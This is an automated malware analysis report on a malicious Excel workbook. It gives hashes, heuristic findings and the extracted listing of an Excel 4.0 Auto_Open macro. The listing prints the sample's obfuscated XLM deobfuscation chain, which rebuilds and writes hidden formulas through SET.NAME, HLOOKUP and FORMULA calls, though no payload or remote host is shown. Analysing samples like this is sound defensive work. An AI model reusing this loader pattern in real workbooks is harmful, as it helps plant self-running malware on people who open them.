Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42584e1b1f47a1bf…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:32 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: c5ac9dcb045820f5d3414de521db0620 SHA-1: d2adc22076eaf4e922fac01cc6d089f3b5641188 SHA-256: 42584e1b1f47a1bf39d45508a1fd8fdecc2460ec7e845e1552727f04fc4e14c5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6583 bytes
SHA-256: aabb7557148f8e847907b4b2f7bda12d7d4fe0f8f10f5c65f350fc6a72dde641
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MYwEllhmeP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B174 
' 0018     20 LABEL : Cell Value, String Constant - DIXTb len=0 
' 0018     25 LABEL : Cell Value, String Constant - eCKfRTdaTu len=0 
' 0018     21 LABEL : Cell Value, String Constant - EcqXHT len=0 
' 0018     23 LABEL : Cell Value, String Constant - FFXGcWeN len=0 
' 0018     26 LABEL : Cell Value, String Constant - gywORRMFNKo len=0 
' 0018     21 LABEL : Cell Value, String Constant - iOejqu len=0 
' 0018     24 LABEL : Cell Value, String Constant - KPTrIPvqL len=0 
' 0018     20 LABEL : Cell Value, String Constant - MptJq len=0 
' 0018     21 LABEL : Cell Value, String Constant - nIfXiz len=0 
' 0018     26 LABEL : Cell Value, String Constant - PGCxxWdpVkF len=0 
' 0018     22 LABEL : Cell Value, String Constant - PKdTFsI len=0 
' 0018     22 LABEL : Cell Value, String Constant - syvhaRR len=0 
' 0018     26 LABEL : Cell Value, String Constant - tNGVubKYtDh len=0 
' 0018     27 LABEL : Cell Value, String Constant - TzsRcEcaLfPI len=0 
' 0018     26 LABEL : Cell Value, String Constant - VNjSnFTxVNe len=0 
' 0018     20 LABEL : Cell Value, String Constant - Vzzjo len=0 
' 0018     21 LABEL : Cell Value, String Constant - vZZwLO len=0 
' 0018     23 LABEL : Cell Value, String Constant - woxYVVNg len=0 
' 0018     23 LABEL : Cell Value, String Constant - wtyvRYvc len=0 
' 0018     20 LABEL : Cell Value, String Constant - xnpYw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MYwEllhmeP,B76,"SET.NAME("eCKfRTdaTu",VALUE("0"))",""
'  MYwEllhmeP,B81,"SET.NAME("xnpYw",eCKfRTdaTu)",""
'  MYwEllhmeP,B86,"SET.NAME("nIfXiz",eCKfRTdaTu)",""
'  MYwEllhmeP,B90,"SET.NAME("vZZwLO",COUNTA(VNjSnFTxVNe))",""
'  MYwEllhmeP,B93,"SET.NAME("EcqXHT",COUNTA(Vzzjo))",""
'  MYwEllhmeP,B95,[],""
'  MYwEllhmeP,B100,"SET.NAME("gywORRMFNKo","")",""
'  MYwEllhmeP,B103,"xnpYw",""
'  MYwEllhmeP,B108,"SET.NAME("TzsRcEcaLfPI",HLOOKUP("*",VNjSnFTxVNe,xnpYw,FALSE))",""
'  MYwEllhmeP,B111,"PGCxxWdpVkF",""
'  MYwEllhmeP,B116,"SET.NAME("tNGVubKYtDh",eCKfRTdaTu)",""
'  MYwEllhmeP,B118,[],""
'  MYwEllhmeP,B121,"tNGVubKYtDh",""
'  MYwEllhmeP,B125,"syvhaRR",""
'  MYwEllhmeP,B129,"KPTrIPvqL",""
'  MYwEllhmeP,B133,"woxYVVNg",""
'  MYwEllhmeP,B137,"SET.NAME("FFXGcWeN",VALUE(HLOOKUP("*",Vzzjo,woxYVVNg,FALSE)))",""
'  MYwEllhmeP,B139,"MptJq",""
'  MYwEllhmeP,B143,"gywORRMFNKo",""
'  MYwEllhmeP,B148,"nIfXiz",""
'  MYwEllhmeP,B153,NEXT(),""
'  MYwEllhmeP,B157,"PKdTFsI",""
'  MYwEllhmeP,B161,"SET.NAME("f",INT(T(FORMULA(T(gywORRMFNKo)&"",""&T(PKdTFsI)))))",""
'  MYwEllhmeP,B163,"iOejqu",""
'  MYwEllhmeP,B168,NEXT(),""
'  MYwEllhmeP,B172,RETURN(),""
'  MYwEllhmeP,B201,"SET.NAME("wtyvRYvc",B76)",""
'  MYwEllhmeP,B205,"VNjSnFTxVNe",""
'  MYwEllhmeP,B209,"SET.NAME("Vzzjo",R49C12)",""
'  MYwEllhmeP,B214,"SET.NAME("iOejqu",220)",""
'  MYwEllhmeP,B216,"SET.NAME("DIXTb",2)",""
'  MYwEllhmeP,B219,wtyvRYvc(),""
'  MYwEllhmeP,B220,HALT(),""